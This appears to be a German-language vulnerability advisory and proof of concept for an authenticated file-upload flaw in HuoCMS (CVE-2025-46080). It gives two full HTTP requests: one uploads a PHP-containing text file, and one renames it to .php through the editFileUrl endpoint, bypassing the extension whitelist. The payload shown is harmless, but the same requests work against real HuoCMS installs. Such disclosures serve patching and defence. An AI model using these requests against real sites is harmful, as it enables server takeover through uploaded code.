BUG_Author:

yggcwhat

Betroffene Version:

Huocms

Anbieter:

https://huocms.com/

Quellcode-Adresse:

https://gitee.com/digital-flag/huocms

Verwundbare Datei:

AttachmentController.php

Betroffene Version：

HuoCMS - <=V3.5.1

Beschreibung:

app ->controller ->backend -> AttachmentController.php:editFileUrl()

Das Suffix von $newPathUrl in der "copy"-Funktion, die in der Methode "editFileUrl" aufgerufen wird, wird nicht durch die Whitelist überprüft, was ausgenutzt werden kann, um den Dateinamen zu ändern. Das Suffix wird durch das übergebene suffix_url gesteuert und ist kontrollierbar.

Schritt 1: Laden Sie vorab eine Datei mit einem Whitelist-Suffix hoch, die schädlichen Inhalt enthält, und notieren Sie gleichzeitig die Datei-ID.

POST /attachment/uploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization:  token
Content-Type: multipart/form-data; boundary=----geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Length: 581
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php/Index/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="type"

2
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="attachment_cate_id"

0
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="reduce_img"


------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

<?php
echo "hello word!"
?>
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9--

Basierend auf dem Inhalt wird die ID als 67 ermittelt.

Schritt 2: Konstruieren Sie dann eine Anfrage basierend auf der editFileUrl und benennen Sie die Datei mit der ID 67 um, wobei die copy-Funktion in der verwundbaren editFileUrl aufgerufen wird, um die Datei mit einem unzulässigen Suffix umzubenennen.

POST /attachment/editFileUrl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: token
Content-Length: 83
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

id=67&name=test&prefix_url=&suffix_url=file/20250416/test.php&description=123123123

Hinweis: Um sie erneut zu ändern, müssen Sie den Dateinamen von suffix_url ändern, um die durch $oldPathUrl != $newPathUrl in editFileUrl ausgelöste copy-Funktion zu umgehen.

Zugriffs-URL: http://127.0.0.1/storage/file/20250416/test.php

Referenz：

http://huocms.com https://github.com/yggcwhat/CVE-2025-46080/edit/main/README.md https://www.huocms.com/

CVE-2025-46080

Beliebteste